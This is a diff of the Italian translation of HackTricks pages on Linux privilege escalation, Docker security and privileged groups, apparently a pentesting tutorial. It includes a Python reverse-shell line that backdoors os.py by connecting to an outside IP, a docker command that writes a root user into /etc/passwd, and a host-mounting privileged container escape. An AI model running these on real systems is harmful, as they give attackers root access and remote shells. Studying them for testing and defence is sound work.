Dovresti anche controllare i file che contengono la parola "**password**" nel suo **nome** o all'interno del **contenuto**, e controllare anche per IP ed email all'interno dei log, o regex di hash.\
Dovresti anche controllare i file che contengono la parola "**password**" nel suo **nome** o all'interno del **contenuto**, e controllare anche per IP ed email all'interno dei log, o regex per hash.\
Non elencherò qui come fare tutto questo, ma se sei interessato puoi controllare gli ultimi controlli che [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) esegue.
## Writable files
### Python library hijacking
Se sai da **dove** verrà eseguito uno script python e **puoi scrivere all'interno** di quella cartella o puoi **modificare le librerie python**, puoi modificare la libreria OS e backdoorarla (se puoi scrivere dove verrà eseguito lo script python, copia e incolla la libreria os.py).
Se sai da **dove** verrà eseguito uno script python e **puoi scrivere all'interno** di quella cartella o puoi **modificare le librerie python**, puoi modificare la libreria OS e inserirvi un backdoor (se puoi scrivere dove verrà eseguito lo script python, copia e incolla la libreria os.py).
Per **backdoorare la libreria** basta aggiungere alla fine della libreria os.py la seguente riga (cambia IP e PORT):
Per **inserire un backdoor nella libreria** basta aggiungere alla fine della libreria os.py la seguente riga (cambia IP e PORT):
```python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```
### Logrotate exploitation
Una vulnerabilità in `logrotate` consente agli utenti con **permessi di scrittura** su un file di log o le sue directory padre di potenzialmente ottenere privilegi elevati. Questo perché `logrotate`, che spesso viene eseguito come **root**, può essere manipolato per eseguire file arbitrari, specialmente in directory come _**/etc/bash_completion.d/**_. È importante controllare i permessi non solo in _/var/log_ ma anche in qualsiasi directory in cui viene applicata la rotazione dei log.
Una vulnerabilità in `logrotate` consente agli utenti con **permessi di scrittura** su un file di log o le sue directory padre di potenzialmente ottenere privilegi elevati. Questo perché `logrotate`, spesso in esecuzione come **root**, può essere manipolato per eseguire file arbitrari, specialmente in directory come _**/etc/bash_completion.d/**_. È importante controllare i permessi non solo in _/var/log_ ma anche in qualsiasi directory in cui viene applicata la rotazione dei log.
> [!NOTE]
> Questa vulnerabilità colpisce `logrotate` versione `3.18.0` e versioni precedenti
@ -1342,7 +1346,7 @@ Se, per qualsiasi motivo, un utente è in grado di **scrivere** uno script `ifcf
Gli script di rete, _ifcg-eth0_ ad esempio, sono utilizzati per le connessioni di rete. Sembrano esattamente come file .INI. Tuttavia, sono \~sourced\~ su Linux dal Network Manager (dispatcher.d).
Nel mio caso, l'attributo `NAME=` in questi script di rete non viene gestito correttamente. Se hai **spazio bianco/vuoto nel nome, il sistema cerca di eseguire la parte dopo lo spazio bianco/vuoto**. Questo significa che **tutto dopo il primo spazio vuoto viene eseguito come root**.
Nel mio caso, l'attributo `NAME=` in questi script di rete non è gestito correttamente. Se hai **spazio bianco/vuoto nel nome, il sistema cerca di eseguire la parte dopo lo spazio bianco/vuoto**. Questo significa che **tutto dopo il primo spazio vuoto viene eseguito come root**.
Ad esempio: _/etc/sysconfig/network-scripts/ifcfg-1337_
```bash
@ -1354,7 +1358,7 @@ DEVICE=eth0
La directory `/etc/init.d` è la casa di **script** per System V init (SysVinit), il **classico sistema di gestione dei servizi Linux**. Include script per `avviare`, `fermare`, `riavviare` e talvolta `ricaricare` i servizi. Questi possono essere eseguiti direttamente o tramite collegamenti simbolici trovati in `/etc/rc?.d/`. Un percorso alternativo nei sistemi Redhat è `/etc/rc.d/init.d`.
D'altra parte, `/etc/init` è associato a **Upstart**, un **sistema di gestione dei servizi** più recente introdotto da Ubuntu, che utilizza file di configurazione per compiti di gestione dei servizi. Nonostante la transizione a Upstart, gli script SysVinit sono ancora utilizzati insieme alle configurazioni di Upstart grazie a un livello di compatibilità in Upstart.
D'altra parte, `/etc/init` è associato a **Upstart**, un **sistema di gestione dei servizi** più recente introdotto da Ubuntu, che utilizza file di configurazione per i compiti di gestione dei servizi. Nonostante la transizione a Upstart, gli script SysVinit sono ancora utilizzati insieme alle configurazioni di Upstart grazie a un layer di compatibilità in Upstart.
**systemd** emerge come un moderno gestore di inizializzazione e servizi, offrendo funzionalità avanzate come l'avvio di demoni su richiesta, la gestione dell'automount e snapshot dello stato del sistema. Organizza i file in `/usr/lib/systemd/` per i pacchetti di distribuzione e `/etc/systemd/system/` per le modifiche degli amministratori, semplificando il processo di amministrazione del sistema.
@ -1387,7 +1391,7 @@ cisco-vmanage.md
[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries)
## Strumenti Privesc Linux/Unix
## Strumenti di Privesc Linux/Unix
### **Miglior strumento per cercare vettori di escalation dei privilegi locali Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)

73
src/linux-hardening/privilege-escalation/docker-security/README.md
View File

@ -10,14 +10,14 @@ Il **motore Docker** utilizza i **Namespaces** e i **Cgroups** del kernel Linux
### Accesso Sicuro al Motore Docker
Il motore Docker può essere accesso localmente tramite un socket Unix o remotamente utilizzando HTTP. Per l'accesso remoto, è essenziale utilizzare HTTPS e **TLS** per garantire riservatezza, integrità e autenticazione.
Il motore Docker può essere accessibile localmente tramite un socket Unix o remotamente utilizzando HTTP. Per l'accesso remoto, è essenziale utilizzare HTTPS e **TLS** per garantire riservatezza, integrità e autenticazione.
Il motore Docker, per impostazione predefinita, ascolta sul socket Unix a `unix:///var/run/docker.sock`. Nei sistemi Ubuntu, le opzioni di avvio di Docker sono definite in `/etc/default/docker`. Per abilitare l'accesso remoto all'API e al client Docker, esporre il demone Docker su un socket HTTP aggiungendo le seguenti impostazioni:
```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart
```
Tuttavia, esporre il daemon Docker su HTTP non è consigliato a causa di preoccupazioni di sicurezza. È consigliabile proteggere le connessioni utilizzando HTTPS. Ci sono due approcci principali per garantire la connessione:
Tuttavia, esporre il daemon Docker su HTTP non è raccomandato a causa di preoccupazioni di sicurezza. È consigliabile proteggere le connessioni utilizzando HTTPS. Ci sono due approcci principali per garantire la connessione:
1. Il client verifica l'identità del server.
2. Sia il client che il server si autenticano reciprocamente.
@ -68,37 +68,49 @@ snyk container test <image> --json-file-output=<output file> --severity-threshol
```bash
clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
```
### Firma delle Immagini Docker
### Firma dell'immagine Docker
La firma delle immagini Docker garantisce la sicurezza e l'integrità delle immagini utilizzate nei container. Ecco una spiegazione condensata:
La firma dell'immagine Docker garantisce la sicurezza e l'integrità delle immagini utilizzate nei container. Ecco una spiegazione condensata:
- **Docker Content Trust** utilizza il progetto Notary, basato su The Update Framework (TUF), per gestire la firma delle immagini. Per ulteriori informazioni, vedere [Notary](https://github.com/docker/notary) e [TUF](https://theupdateframework.github.io).
- Per attivare la fiducia nei contenuti Docker, impostare `export DOCKER_CONTENT_TRUST=1`. Questa funzione è disattivata per impostazione predefinita nelle versioni di Docker 1.10 e successive.
- Con questa funzione attivata, possono essere scaricate solo immagini firmate. Il primo push dell'immagine richiede l'impostazione delle frasi segrete per le chiavi root e di tagging, con Docker che supporta anche Yubikey per una maggiore sicurezza. Maggiori dettagli possono essere trovati [qui](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Con questa funzione attivata, possono essere scaricate solo immagini firmate. Il primo push dell'immagine richiede l'impostazione di frasi segrete per le chiavi root e di tagging, con Docker che supporta anche Yubikey per una maggiore sicurezza. Maggiori dettagli possono essere trovati [qui](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Tentare di scaricare un'immagine non firmata con la fiducia nei contenuti attivata risulta in un errore "No trust data for latest".
- Per i push delle immagini dopo il primo, Docker richiede la frase segreta della chiave del repository per firmare l'immagine.
Per eseguire il backup delle tue chiavi private, utilizza il comando:
Per eseguire il backup delle tue chiavi private, usa il comando:
```bash
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
```
Quando si cambia host Docker, è necessario spostare le chiavi root e repository per mantenere le operazioni.
## Caratteristiche di Sicurezza dei Container
## Funzionalità di Sicurezza dei Container
<details>
<summary>Riepilogo delle Caratteristiche di Sicurezza dei Container</summary>
<summary>Riepilogo delle Funzionalità di Sicurezza dei Container</summary>
**Caratteristiche Principali di Isolamento dei Processi**
**Principali Funzionalità di Isolamento dei Processi**
Negli ambienti containerizzati, isolare i progetti e i loro processi è fondamentale per la sicurezza e la gestione delle risorse. Ecco una spiegazione semplificata dei concetti chiave:
**Namespace**
- **Scopo**: Garantire l'isolamento delle risorse come processi, rete e filesystem. In particolare in Docker, i namespace mantengono i processi di un container separati dall'host e da altri container.
- **Scopo**: Garantire l'isolamento delle risorse come processi, rete e filesystem. In particolare in Docker, gli namespace mantengono i processi di un container separati dall'host e da altri container.
- **Utilizzo di `unshare`**: Il comando `unshare` (o la syscall sottostante) è utilizzato per creare nuovi namespace, fornendo un ulteriore livello di isolamento. Tuttavia, mentre Kubernetes non blocca intrinsecamente questo, Docker lo fa.
- **Limitazione**: Creare nuovi namespace non consente a un processo di tornare ai namespace predefiniti dell'host. Per penetrare nei namespace dell'host
- **Limitazione**: Creare nuovi namespace non consente a un processo di tornare ai namespace predefiniti dell'host. Per penetrare nei namespace dell'host, in genere è necessario avere accesso alla directory `/proc` dell'host, utilizzando `nsenter` per l'ingresso.
**Gruppi di Controllo (CGroups)**
- **Funzione**: Utilizzati principalmente per allocare risorse tra i processi.
- **Aspetto di Sicurezza**: I CGroups stessi non offrono sicurezza di isolamento, tranne per la funzionalità `release_agent`, che, se configurata in modo errato, potrebbe essere sfruttata per accesso non autorizzato.
**Riduzione delle Capacità**
- **Importanza**: È una funzionalità di sicurezza cruciale per l'isolamento dei processi.
- **Funzionalità**: Limita le azioni che un processo root può eseguire riducendo certe capacità. Anche se un processo viene eseguito con privilegi di root, la mancanza delle capacità necessarie impedisce l'esecuzione di azioni privilegiate, poiché le syscall falliranno a causa di permessi insufficienti.
Queste sono le **capacità rimanenti** dopo che il processo ha ridotto le altre:
```
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
```
@ -186,7 +198,7 @@ apparmor.md
- **Etichettatura dei File all'interno dei Container**: I file all'interno del container sono solitamente etichettati come `container_file_t`.
- **Regole di Politica**: La politica SELinux garantisce principalmente che i processi con l'etichetta `container_t` possano interagire solo (leggere, scrivere, eseguire) con file etichettati come `container_file_t`.
Questo meccanismo garantisce che anche se un processo all'interno di un container viene compromesso, è confinato a interagire solo con oggetti che hanno le etichette corrispondenti, limitando significativamente il potenziale danno derivante da tali compromissioni.
Questo meccanismo garantisce che anche se un processo all'interno di un container viene compromesso, è confinato a interagire solo con oggetti che hanno le etichette corrispondenti, limitando significativamente il potenziale danno derivante da tali compromessi.
{{#ref}}
../selinux.md
@ -266,7 +278,7 @@ Per ulteriori opzioni **`--security-opt`** controlla: [https://docs.docker.com/e
**I volumi Docker** sono un'alternativa più sicura, raccomandata per accedere a informazioni sensibili. Possono essere utilizzati come un filesystem temporaneo in memoria, mitigando i rischi associati a `docker inspect` e al logging. Tuttavia, gli utenti root e quelli con accesso `exec` al container potrebbero comunque accedere ai segreti.
**I segreti Docker** offrono un metodo ancora più sicuro per gestire informazioni sensibili. Per le istanze che richiedono segreti durante la fase di costruzione dell'immagine, **BuildKit** presenta una soluzione efficiente con supporto per segreti a tempo di costruzione, migliorando la velocità di costruzione e fornendo funzionalità aggiuntive.
**I segreti Docker** offrono un metodo ancora più sicuro per gestire informazioni sensibili. Per le istanze che richiedono segreti durante la fase di build dell'immagine, **BuildKit** presenta una soluzione efficiente con supporto per segreti a tempo di build, migliorando la velocità di build e fornendo funzionalità aggiuntive.
Per sfruttare BuildKit, può essere attivato in tre modi:
@ -274,7 +286,7 @@ Per sfruttare BuildKit, può essere attivato in tre modi:
2. Prefissando i comandi: `DOCKER_BUILDKIT=1 docker build .`
3. Abilitandolo per impostazione predefinita nella configurazione di Docker: `{ "features": { "buildkit": true } }`, seguito da un riavvio di Docker.
BuildKit consente l'uso di segreti a tempo di costruzione con l'opzione `--secret`, assicurando che questi segreti non siano inclusi nella cache di costruzione dell'immagine o nell'immagine finale, utilizzando un comando come:
BuildKit consente l'uso di segreti a tempo di build con l'opzione `--secret`, assicurando che questi segreti non siano inclusi nella cache di build dell'immagine o nell'immagine finale, utilizzando un comando come:
```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
```
@ -299,27 +311,31 @@ Negli ambienti Kubernetes, i segreti sono supportati nativamente e possono esser
**gVisor** è un kernel applicativo, scritto in Go, che implementa una parte sostanziale della superficie di sistema Linux. Include un runtime [Open Container Initiative (OCI)](https://www.opencontainers.org) chiamato `runsc` che fornisce un **confine di isolamento tra l'applicazione e il kernel host**. Il runtime `runsc` si integra con Docker e Kubernetes, rendendo semplice l'esecuzione di container sandboxed.
{% embed url="https://github.com/google/gvisor" %}
{{#ref}}
https://github.com/google/gvisor
{{#endref}}
### Kata Containers
**Kata Containers** è una comunità open source che lavora per costruire un runtime di container sicuro con macchine virtuali leggere che si comportano e performano come container, ma forniscono **un isolamento del carico di lavoro più forte utilizzando la tecnologia di virtualizzazione hardware** come secondo strato di difesa.
{% embed url="https://katacontainers.io/" %}
{{#ref}}
https://katacontainers.io/
{{#endref}}
### Suggerimenti Riassuntivi
- **Non utilizzare il flag `--privileged` o montare un** [**socket Docker all'interno del container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Lo socket Docker consente di avviare container, quindi è un modo semplice per prendere il controllo completo dell'host, ad esempio, eseguendo un altro container con il flag `--privileged`.
- **Non eseguire come root all'interno del container. Utilizzare un** [**utente diverso**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **e** [**spazi dei nomi utente**](https://docs.docker.com/engine/security/userns-remap/)**.** Il root nel container è lo stesso che sull'host a meno che non venga rimappato con gli spazi dei nomi utente. È solo leggermente limitato da, principalmente, spazi dei nomi Linux, capacità e cgroups.
- [**Eliminare tutte le capacità**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) e abilitare solo quelle necessarie** (`--cap-add=...`). Molti carichi di lavoro non necessitano di capacità e aggiungerle aumenta l'ambito di un potenziale attacco.
- [**Utilizzare l'opzione di sicurezza “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) per impedire ai processi di acquisire più privilegi, ad esempio tramite binari suid.
- [**Limitare le risorse disponibili per il container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** I limiti delle risorse possono proteggere la macchina da attacchi di denial of service.
- **Regolare i profili** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(o SELinux)** per limitare le azioni e le syscalls disponibili per il container al minimo necessario.
- **Utilizzare** [**immagini docker ufficiali**](https://docs.docker.com/docker-hub/official_images/) **e richiedere firme** o costruire le proprie basate su di esse. Non ereditare o utilizzare immagini [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Inoltre, conservare le chiavi root e le frasi di accesso in un luogo sicuro. Docker ha piani per gestire le chiavi con UCP.
- **Ricostruire regolarmente** le proprie immagini per **applicare patch di sicurezza all'host e alle immagini.**
- Gestire i propri **segreti con saggezza** in modo che sia difficile per l'attaccante accedervi.
- **Non utilizzare il flag `--privileged` o montare un** [**socket Docker all'interno del container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Lo socket docker consente di avviare container, quindi è un modo semplice per prendere il controllo completo dell'host, ad esempio, eseguendo un altro container con il flag `--privileged`.
- **Non eseguire come root all'interno del container. Utilizza un** [**utente diverso**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **e** [**namespace utente**](https://docs.docker.com/engine/security/userns-remap/)**.** Il root nel container è lo stesso dell'host a meno che non venga rimappato con gli namespace utente. È solo leggermente limitato da, principalmente, namespace Linux, capacità e cgroups.
- [**Elimina tutte le capacità**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) e abilita solo quelle necessarie** (`--cap-add=...`). Molti carichi di lavoro non necessitano di capacità e aggiungerle aumenta l'ambito di un potenziale attacco.
- [**Utilizza l'opzione di sicurezza “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) per impedire ai processi di acquisire più privilegi, ad esempio tramite binari suid.
- [**Limita le risorse disponibili per il container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** I limiti delle risorse possono proteggere la macchina da attacchi di denial of service.
- **Regola i profili** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(o SELinux)** per limitare le azioni e le syscalls disponibili per il container al minimo necessario.
- **Utilizza** [**immagini docker ufficiali**](https://docs.docker.com/docker-hub/official_images/) **e richiedi firme** o costruisci le tue basate su di esse. Non ereditare o utilizzare immagini [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Inoltre, conserva le chiavi root e le frasi di accesso in un luogo sicuro. Docker ha piani per gestire le chiavi con UCP.
- **Ricostruisci regolarmente** le tue immagini per **applicare patch di sicurezza all'host e alle immagini.**
- Gestisci i tuoi **segreti con saggezza** in modo che sia difficile per l'attaccante accedervi.
- Se **esponi il demone docker utilizza HTTPS** con autenticazione client e server.
- Nel tuo Dockerfile, **preferisci COPY invece di ADD**. ADD estrae automaticamente file compressi e può copiare file da URL. COPY non ha queste capacità. Ogni volta che è possibile, evita di utilizzare ADD per non essere suscettibile ad attacchi tramite URL remoti e file Zip.
- Nel tuo Dockerfile, **preferisci COPY invece di ADD**. ADD estrae automaticamente i file compressi e può copiare file da URL. COPY non ha queste capacità. Ogni volta che è possibile, evita di utilizzare ADD per non essere suscettibile ad attacchi tramite URL remoti e file Zip.
- Avere **container separati per ogni micro-servizio**
- **Non mettere ssh** all'interno del container, “docker exec” può essere utilizzato per ssh nel Container.
- Avere **immagini di container più piccole**
@ -334,7 +350,7 @@ docker-breakout-privilege-escalation/
## Bypass del Plugin di Autenticazione Docker
Se hai accesso allo socket docker o hai accesso a un utente nel **gruppo docker ma le tue azioni sono limitate da un plugin di autenticazione docker**, controlla se puoi **bypassarlo:**
Se hai accesso allo socket docker o hai accesso a un utente nel **gruppo docker ma le tue azioni sono limitate da un plugin di autenticazione docker**, verifica se puoi **bypassarlo:**
{{#ref}}
authz-and-authn-docker-access-authorization-plugin.md
@ -342,7 +358,7 @@ authz-and-authn-docker-access-authorization-plugin.md
## Hardening Docker
- Lo strumento [**docker-bench-security**](https://github.com/docker/docker-bench-security) è uno script che controlla dozzine di best practice comuni per il deployment di container Docker in produzione. I test sono tutti automatizzati e si basano sul [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
- Lo strumento [**docker-bench-security**](https://github.com/docker/docker-bench-security) è uno script che controlla dozzine di best practices comuni per il deployment di container Docker in produzione. I test sono tutti automatizzati e si basano sul [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
Devi eseguire lo strumento dall'host che esegue docker o da un container con privilegi sufficienti. Scopri **come eseguirlo nel README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
## Riferimenti
@ -361,5 +377,4 @@ Devi eseguire lo strumento dall'host che esegue docker o da un container con pri
- [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
- [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
{{#include ../../../banners/hacktricks-training.md}}

22
src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md
View File

@ -6,7 +6,7 @@
### **PE - Metodo 1**
**A volte**, **per impostazione predefinita (o perché qualche software ne ha bisogno)** all'interno del **/etc/sudoers** file puoi trovare alcune di queste righe:
**A volte**, **per impostazione predefinita (o perché alcuni software ne hanno bisogno)** all'interno del **/etc/sudoers** file puoi trovare alcune di queste righe:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
@ -26,7 +26,7 @@ Trova tutti i binari suid e controlla se c'è il binario **Pkexec**:
```bash
find / -perm -4000 2>/dev/null
```
Se scopri che il binario **pkexec è un binario SUID** e appartieni a **sudo** o **admin**, probabilmente potresti eseguire binari come sudo usando `pkexec`.\
Se scopri che il binario **pkexec è un binario SUID** e appartieni a **sudo** o **admin**, potresti probabilmente eseguire binari come sudo usando `pkexec`.\
Questo perché tipicamente questi sono i gruppi all'interno della **politica polkit**. Questa politica identifica fondamentalmente quali gruppi possono utilizzare `pkexec`. Controllalo con:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
@ -88,7 +88,7 @@ $ echo $PATH
```
Se riusciamo a dirottare alcuni programmi in `/usr/local`, possiamo facilmente ottenere i privilegi di root.
Dirottare il programma `run-parts` è un modo semplice per ottenere il root, perché la maggior parte dei programmi eseguirà un `run-parts` come (crontab, quando si effettua il login ssh).
Dirottare il programma `run-parts` è un modo semplice per ottenere i privilegi di root, perché la maggior parte dei programmi eseguirà un `run-parts` come (crontab, quando si effettua il login ssh).
```bash
$ cat /etc/crontab | grep run-parts
17 * * * * root cd / && run-parts --report /etc/cron.hourly
@ -163,7 +163,7 @@ Il **gruppo video** ha accesso per visualizzare l'output dello schermo. Fondamen
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
Per **aprire** l'**immagine raw** puoi usare **GIMP**, selezionare il **`screen.raw`** file e selezionare come tipo di file **Dati immagine raw**:
Per **aprire** l'**immagine raw** puoi usare **GIMP**, selezionare il file **`screen.raw`** e selezionare come tipo di file **Raw image data**:
![](<../../../images/image (463).png>)
@ -173,7 +173,7 @@ Poi modifica la Larghezza e l'Altezza a quelle utilizzate sullo schermo e contro
## Gruppo Root
Sembra che per impostazione predefinita i **membri del gruppo root** possano avere accesso a **modificare** alcuni file di configurazione dei **servizi** o alcuni file di **librerie** o **altre cose interessanti** che potrebbero essere utilizzate per escalare i privilegi...
Sembra che per impostazione predefinita i **membri del gruppo root** possano avere accesso a **modificare** alcuni file di configurazione dei **servizi** o alcuni file di **librerie** o **altre cose interessanti** che potrebbero essere utilizzate per elevare i privilegi...
**Controlla quali file i membri root possono modificare**:
```bash
@ -181,7 +181,7 @@ find / -group root -perm -g=w 2>/dev/null
```
## Gruppo Docker
Puoi **montare il filesystem root della macchina host su un volume dell'istanza**, in modo che quando l'istanza si avvia carichi immediatamente un `chroot` in quel volume. Questo ti dà effettivamente i privilegi di root sulla macchina.
Puoi **montare il filesystem root della macchina host su un volume dell'istanza**, in modo che quando l'istanza si avvia, carichi immediatamente un `chroot` in quel volume. Questo ti dà effettivamente i privilegi di root sulla macchina.
```bash
docker image #Get images from the docker service
@ -193,7 +193,7 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa
#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
```
Infine, se non ti piacciono nessuna delle suggerimenti precedenti, o non funzionano per qualche motivo (firewall dell'api docker?), potresti sempre provare a **eseguire un container privilegiato e fuggire da esso** come spiegato qui:
Infine, se non ti piacciono nessuna delle suggerimenti precedenti, o non funzionano per qualche motivo (firewall dell'api docker?) potresti sempre provare a **eseguire un container privilegiato e fuggire da esso** come spiegato qui:
{{#ref}}
../docker-security/
@ -201,9 +201,13 @@ Infine, se non ti piacciono nessuna delle suggerimenti precedenti, o non funzion
Se hai permessi di scrittura sul socket docker leggi [**questo post su come elevare i privilegi abusando del socket docker**](../#writable-docker-socket)**.**
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{{#ref}}
https://github.com/KrustyHack/docker-privilege-escalation
{{#endref}}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
{{#ref}}
https://fosterelli.co/privilege-escalation-via-docker.html
{{#endref}}
## Gruppo lxc/lxd

22
src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md
View File

@ -1,6 +1,5 @@
{{#include ../../banners/hacktricks-training.md}}
# Gruppi Sudo/Admin
## **PE - Metodo 1**
@ -25,7 +24,7 @@ Trova tutti i binari suid e controlla se c'è il binario **Pkexec**:
```bash
find / -perm -4000 2>/dev/null
```
Se scopri che il binario pkexec è un binario SUID e appartieni a sudo o admin, potresti probabilmente eseguire binari come sudo utilizzando pkexec. Controlla il contenuto di:
Se scopri che il binario pkexec è un binario SUID e appartieni a sudo o admin, probabilmente potresti eseguire binari come sudo utilizzando pkexec. Controlla il contenuto di:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
@ -41,7 +40,7 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**Non è perché non hai permessi, ma perché non sei connesso senza una GUI**. E c'è una soluzione per questo problema qui: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Hai bisogno di **2 sessioni ssh diverse**:
**Non è perché non hai permessi, ma perché non sei connesso senza una GUI**. E c'è una soluzione a questo problema qui: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Hai bisogno di **2 sessioni ssh diverse**:
```bash:session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
@ -52,7 +51,7 @@ pkexec "/bin/bash" #Step 3, execute pkexec
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
```
# Gruppo Wheel
# Wheel Group
**A volte**, **per impostazione predefinita** all'interno del **/etc/sudoers** file puoi trovare questa riga:
```text
@ -101,12 +100,12 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
Il **tty1** significa che l'utente **yossi è connesso fisicamente** a un terminale sulla macchina.
Il **gruppo video** ha accesso per visualizzare l'output dello schermo. Fondamentalmente puoi osservare gli schermi. Per fare ciò, devi **catturare l'immagine attuale sullo schermo** in dati grezzi e ottenere la risoluzione che lo schermo sta utilizzando. I dati dello schermo possono essere salvati in `/dev/fb0` e puoi trovare la risoluzione di questo schermo in `/sys/class/graphics/fb0/virtual_size`
Il **gruppo video** ha accesso per visualizzare l'output dello schermo. Fondamentalmente puoi osservare gli schermi. Per fare ciò, devi **catturare l'immagine corrente sullo schermo** in dati grezzi e ottenere la risoluzione che lo schermo sta utilizzando. I dati dello schermo possono essere salvati in `/dev/fb0` e puoi trovare la risoluzione di questo schermo in `/sys/class/graphics/fb0/virtual_size`
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
Per **aprire** l'**immagine raw** puoi usare **GIMP**, selezionare il file **`screen.raw`** e selezionare come tipo di file **Raw image data**:
Per **aprire** l'**immagine raw** puoi usare **GIMP**, selezionare il file **`screen.raw`** e selezionare come tipo di file **Dati immagine raw**:
![](../../images/image%20%28208%29.png)
@ -116,7 +115,7 @@ Poi modifica la Larghezza e l'Altezza a quelle utilizzate sullo schermo e contro
# Gruppo Root
Sembra che per impostazione predefinita i **membri del gruppo root** possano avere accesso a **modificare** alcuni file di configurazione dei **servizi** o alcuni file di **librerie** o **altre cose interessanti** che potrebbero essere utilizzate per escalare i privilegi...
Sembra che per impostazione predefinita i **membri del gruppo root** possano avere accesso a **modificare** alcuni file di configurazione dei **servizi** o alcuni file di **librerie** o **altre cose interessanti** che potrebbero essere utilizzate per elevare i privilegi...
**Controlla quali file i membri root possono modificare**:
```bash
@ -126,13 +125,16 @@ find / -group root -perm -g=w 2>/dev/null
Puoi montare il filesystem root della macchina host su un volume dell'istanza, così quando l'istanza si avvia carica immediatamente un `chroot` in quel volume. Questo ti dà effettivamente i privilegi di root sulla macchina.
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{{#ref}}
https://github.com/KrustyHack/docker-privilege-escalation
{{#endref}}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
{{#ref}}
https://fosterelli.co/privilege-escalation-via-docker.html
{{#endref}}
# Gruppo lxc/lxd
[lxc - Privilege Escalation](lxd-privilege-escalation.md)
{{#include ../../banners/hacktricks-training.md}}

92
src/misc/references.md
View File

@ -1,49 +1,95 @@
{{#include ../banners/hacktricks-training.md}}
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
{{#ref}}
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
{{#endref}}
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
{{#ref}}
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
{{#endref}}
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
{{#ref}}
https://anhtai.me/pentesting-cheatsheet/
{{#endref}}
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
{{#ref}}
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
{{#endref}}
